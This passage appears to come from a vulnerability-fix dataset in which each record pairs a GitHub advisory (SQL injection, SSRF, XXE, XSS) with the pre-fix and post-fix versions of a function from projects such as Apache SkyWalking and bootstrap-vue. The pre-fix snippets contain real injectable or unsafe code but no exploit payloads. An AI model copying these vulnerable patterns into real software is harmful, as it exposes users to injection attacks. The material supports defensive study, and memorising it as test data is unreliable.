= client.executeQuery(connection, \"select count(1) total from (select 1 \" + sql.toString() + \" )\", parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" repo = "apache/skywalking" url = "https://github.com/apache/skywalking.git" [[case]] advisory = "GHSA-grpf-gg7v-5g5h" advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" cwe = "CWE-89" family = "injection" function = "searchServices" function_lines = [[121, 142]] id = "apache-skywalking-a7df135a93d33dbc" language = "java" method = "fix_site" parent = "cc9ea271a720e8def161a583595f75da9bda77a5" path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java" post_fix = " public List searchServices(long startTimestamp, long endTimestamp, String keyword) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(ServiceTraffic.INDEX_NAME).append(\" where \");\n sql.append(ServiceTraffic.NODE_TYPE).append(\"=?\");\n condition.add(NodeType.Normal.value());\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(ServiceTraffic.NAME).append(\" like concat('%',?,'%')\");\n condition.add(keyword);\n }\n sql.append(\" limit \").append(metadataQueryMaxSize);\n\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n return buildServices(resultSet);\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n }\n\n @Override" pre_fix = " public List searchServices(long startTimestamp, long endTimestamp, String keyword) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(ServiceTraffic.INDEX_NAME).append(\" where \");\n sql.append(ServiceTraffic.NODE_TYPE).append(\"=?\");\n condition.add(NodeType.Normal.value());\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(ServiceTraffic.NAME).append(\" like \\\"%\").append(keyword).append(\"%\\\"\");\n }\n sql.append(\" limit \").append(metadataQueryMaxSize);\n\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n return buildServices(resultSet);\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n }\n\n @Override" repo = "apache/skywalking" url = "https://github.com/apache/skywalking.git" [[case]] advisory = "GHSA-qr97-v87p-x965" advisory_text = "Ariadne Component Library vulnerable to Server-Side Request Forgery\n\nA vulnerability was found in Ariadne Component Library up to 2.x. It has been classified as critical. Affected is an unknown function of the file src/url/Url.php. The manipulation leads to server-side request forgery. Upgrading to version 3.0 can address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217140." commit = "1feb1cc11e6c9f218408f15f53f537ea0d788656" cwe = "CWE-918" family = "untrusted_destination" function = "__construct" function_lines = [[39, 52]] id = "ariadne-cms-arc-web-dedc841aa3fcd892" language = "php" method = "fix_site" parent = "615c841a0cd1068758512cd218bab0f91f254b01" path = "src/url/Url.php" post_fix = " public function __construct($url, $queryObject = null)\n {\n $componentList = [\n 'scheme', 'host', 'port', 'user', 'pass', 'path', 'query', 'fragment'\n ];\n $this->importUrlComponents( parse_url( $url ), $componentList );\n if ($this->scheme!='ldap' && strpos($this->host, ':')) {\n // parse_url allows ':' in host when it occurs more than once\\\n $this->host = substr($this->host, 0, strpos($this->host, ':'));\n }\n if ( isset( $queryObject ) ) {\n $this->query = $queryObject->import( $this->query );\n }\n }\n\n /**\n * @return string\n */" pre_fix = " public function __construct($url, $queryObject = null)\n {\n $componentList = [\n 'scheme', 'host', 'port', 'user', 'pass', 'path', 'query', 'fragment'\n ];\n $this->importUrlComponents( parse_url( $url ), $componentList );\n if ( isset( $queryObject ) ) {\n $this->query = $queryObject->import( $this->query );\n }\n }\n\n /**\n * @return string\n */" repo = "ariadne-cms/arc-web" url = "https://github.com/Ariadne-CMS/arc-web.git" [[case]] advisory = "GHSA-h755-h99p-9ffv" advisory_text = "XML External Entity Reference in weixin-java-tools\n\nAn issue was discovered in weixin-java-tools. There is an XXE vulnerability in the getXmlDoc method of the BaseWxPayResult.java file. NOTE: this issue exists because of an incomplete fix for CVE-2018-20318." commit = "8ec61d1328f50e23cd14285a950ca57a088b32b2" cwe = "CWE-611" family = "untrusted_destination" function = "initialValue" function_lines = [[38, 52]] id = "binarywang-wxjava-81c6bfb8c7d2780a" language = "java" method = "fix_site" parent = "d6923f253733783f662c165d112a5561396557b7" path = "weixin-java-common/src/main/java/me/chanjar/weixin/common/util/crypto/WxCryptUtil.java" post_fix = " protected DocumentBuilder initialValue() {\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n return factory.newDocumentBuilder();\n } catch (ParserConfigurationException exc) {\n throw new IllegalArgumentException(exc);\n }\n }\n };\n\n protected byte[] aesKey;\n protected String token;\n protected String appidOrCorpid;\n" pre_fix = " protected DocumentBuilder initialValue() {\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n return factory.newDocumentBuilder();\n } catch (ParserConfigurationException exc) {\n throw new IllegalArgumentException(exc);\n }\n }\n };\n\n protected byte[] aesKey;\n protected String token;\n protected String appidOrCorpid;\n" repo = "binarywang/wxjava" url = "https://github.com/binarywang/WxJava.git" [[case]] advisory = "GHSA-h755-h99p-9ffv" advisory_text = "XML External Entity Reference in weixin-java-tools\n\nAn issue was discovered in weixin-java-tools. There is an XXE vulnerability in the getXmlDoc method of the BaseWxPayResult.java file. NOTE: this issue exists because of an incomplete fix for CVE-2018-20318." commit = "8ec61d1328f50e23cd14285a950ca57a088b32b2" cwe = "CWE-611" family = "untrusted_destination" function = "getXmlDoc" function_lines = [[184, 206]] id = "binarywang-wxjava-bb0f4f6e3747df3f" language = "java" method = "fix_site" parent = "d6923f253733783f662c165d112a5561396557b7" path = "weixin-java-pay/src/main/java/com/github/binarywang/wxpay/bean/result/BaseWxPayResult.java" post_fix = " private Document getXmlDoc() {\n if (this.xmlDoc != null) {\n return this.xmlDoc;\n }\n\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n this.xmlDoc = factory.newDocumentBuilder()\n .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));\n return xmlDoc;\n } catch (Exception e) {\n throw new RuntimeException(\"非法的xml文本内容:\\n\" + this.xmlString, e);\n }\n\n }\n\n /**\n * 获取xml中元素的值.\n *\n * @param path the path\n * @return the xml value\n */" pre_fix = " private Document getXmlDoc() {\n if (this.xmlDoc != null) {\n return this.xmlDoc;\n }\n\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n this.xmlDoc = factory.newDocumentBuilder()\n .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));\n return xmlDoc;\n } catch (Exception e) {\n throw new RuntimeException(\"非法的xml文本内容:\\n\" + this.xmlString, e);\n }\n\n }\n\n /**\n * 获取xml中元素的值.\n *\n * @param path the path\n * @return the xml value\n */" repo = "binarywang/wxjava" url = "https://github.com/binarywang/WxJava.git" [[case]] advisory = "GHSA-c7pp-x73h-4m2v" advisory_text = "Cross-Site Scripting in bootstrap-vue\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later." commit = "ba6f3f8359e257589d744f180312c09bf9f12289" cwe = "CWE-79" family = "output_encoding" function = "render" function_lines = [[102, 123]] id = "bootstrap-vue-bootstrap-vue-07356b6e97b97bc0" language = "javascript" method = "fix_site" parent = "afe1cd06091eb531fd24e31fc58f22e4925b0fc3" path = "src/components/table/table.js" post_fix = " render (h) {\n const $slots = this.$slots\n const $scoped = this.$scopedSlots\n const fields = this.computedFields\n const items = this.computedItems\n\n // Build the caption\n let caption = h(false)\n if (this.caption || $slots['table-caption']) {\n const data = { style: this.captionStyles }\n if (!$slots['table-caption']) {\n data.domProps = { innerHTML: stripScripts(this.caption) }\n }\n caption = h('caption', data, $slots['table-caption'])\n }\n\n // Build the colgroup\n const colgroup = $slots['table-colgroup']\n ? h('colgroup', {}, $slots['table-colgroup'])\n : h(false)\n\n // factory function for thead and tfoot cells (th's)" pre_fix = " render (h) {\n const $slots = this.$slots\n const $scoped = this.$scopedSlots\n const fields = this.computedFields\n const items = this.computedItems\n\n // Build the caption\n let caption = h(false)\n if (this.caption || $slots['table-caption']) {\n const data = { style: this.captionStyles }\n if (!$slots['table-caption']) {\n data.domProps = { innerHTML: this.caption }\n }\n caption = h('caption', data, $slots['table-caption'])\n }\n\n // Build the colgroup\n const colgroup = $slots['table-colgroup']\n ? h('colgroup', {}, $slots['table-colgroup'])\n : h(false)\n\n // factory function for thead and tfoot cells (th's)" repo = "bootstrap-vue/bootstrap-vue" url = "https://github.com/bootstrap-vue/bootstrap-vue.git" [[case]] advisory = "GHSA-c7pp-x73h-4m2v" advisory_text = "Cross-Site Scripting in bootstrap-vue\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later." commit = "ba6f3f8359e257589d744f180312c09bf9f12289" cwe = "CWE-79" family = "output_encoding" function = "makeEllipsis" function_lines = [[173, 304]] id = "bootstrap-vue-bootstrap-vue-28832e100e7f287c" language = "javascript" method = "fix_site" parent = "afe1cd06091eb531fd24e31fc58f22e4925b0fc3" path = "src/mixins/pagination.js" post_fix = " const makeEllipsis = () => {\n return h(\n 'li',\n {\n class: ['page-item', 'disabled', 'd-none', 'd-sm-flex'],\n attrs: { role: 'separator' }\n },\n [\n this.$slots['ellipsis-text'] ||\n h('span', {\n class: ['page-link'],\n domProps: { innerHTML: stripScripts(this.ellipsisText) }\n })\n ]\n )\n }\n\n // Goto First Page button\n buttons.push(\n this.hideGotoEndButtons\n ? h(false)\n : makeEndBtns(1, this.labelFirstPage, this.$slots['first-text'] || stripScripts(this.firstText))\n )\n\n // Goto Previous page button\n buttons.push(makeEndBtns(this.currentPage - 1, this.labelPrevPage, this.$slots['prev-text'] || this.prevText, 1))\n\n // First Ellipsis Bookend\n buttons.push(this.showFirstDots ? makeEllipsis() : h(false))\n\n // Individual Page links\n this.pageList.forEach(page => {\n let inner\n let pageNum = stripScripts(this.makePage(page.number))\n if (this.disabled) {\n inner = h('span', {\n class: ['page-link'],\n domProps: { innerHTML: pageNum }\n })\n } else {\n const active = this.isActive(page.number)\n inner = h('b-link', {\n class: this.pageLinkClasses(page),\n props: this.linkProps(page.number),\n attrs: {\n role: 'menuitemradio',\n tabindex: active ? '0' : '-1',\n 'aria-controls': this.ariaControls || null,\n 'aria-label': `${this.labelPage} ${page.number}`,\n 'aria-checked': active ? 'true' : 'false',\n 'aria-posinset': page.number,\n 'aria-setsize': this.numberOfPages\n },\n domProps: { innerHTML: pageNum },\n on: {\n click: evt => {\n this.onClick(page.number, evt)\n },\n keydown: evt => {\n if (evt.keyCode === KeyCodes.SPACE) {\n evt.preventDefault()\n this.onClick(page.number, evt)\n }\n }\n }\n })\n }\n buttons.push(\n h(\n 'li',\n {\n key: page.number,\n class: this.pageItemClasses(page),\n attrs: { role: 'none presentation' }\n },\n [inner]\n )\n )\n })\n\n // Last Ellipsis Bookend\n buttons.push(this.showLastDots ? makeEllipsis() : h(false))\n\n // Goto Next page button\n buttons.push(\n makeEndBtns(\n this.currentPage + 1,\n this.labelNextPage,\n this.$slots['next-text'] || this.nextText,\n this.numberOfPages\n )\n )\n\n // Goto Last Page button\n buttons.push(\n this.hideGotoEndButtons\n ? h(false)\n : makeEndBtns(this.numberOfPages, this.labelLastPage, this.$slots['last-text'] || this.lastText)\n )\n\n // Assemble the paginatiom buttons\n const pagination = h(\n 'ul',\n {\n ref: 'ul',\n class: ['pagination', 'b-pagination', this.btnSize, this.alignment],\n attrs: {\n role: 'menubar',\n 'aria-disabled': this.disabled ? 'true' : 'false',\n 'aria-label': this.ariaLabel || null\n },\n on: {\n keydown: evt => {\n const keyCode = evt.keyCode\n const shift = evt.shiftKey\n if (keyCode === KeyCodes.LEFT) {\n evt.preventDefault()\n shift ? this.focusFirst() : this.focusPrev()\n } else if (keyCode === KeyCodes.RIGHT) {\n evt.preventDefault()\n shift ? this.focusLast() : this.focusNext()\n }\n }\n }\n },\n buttons\n )\n\n // if we are pagination-nav, wrap in '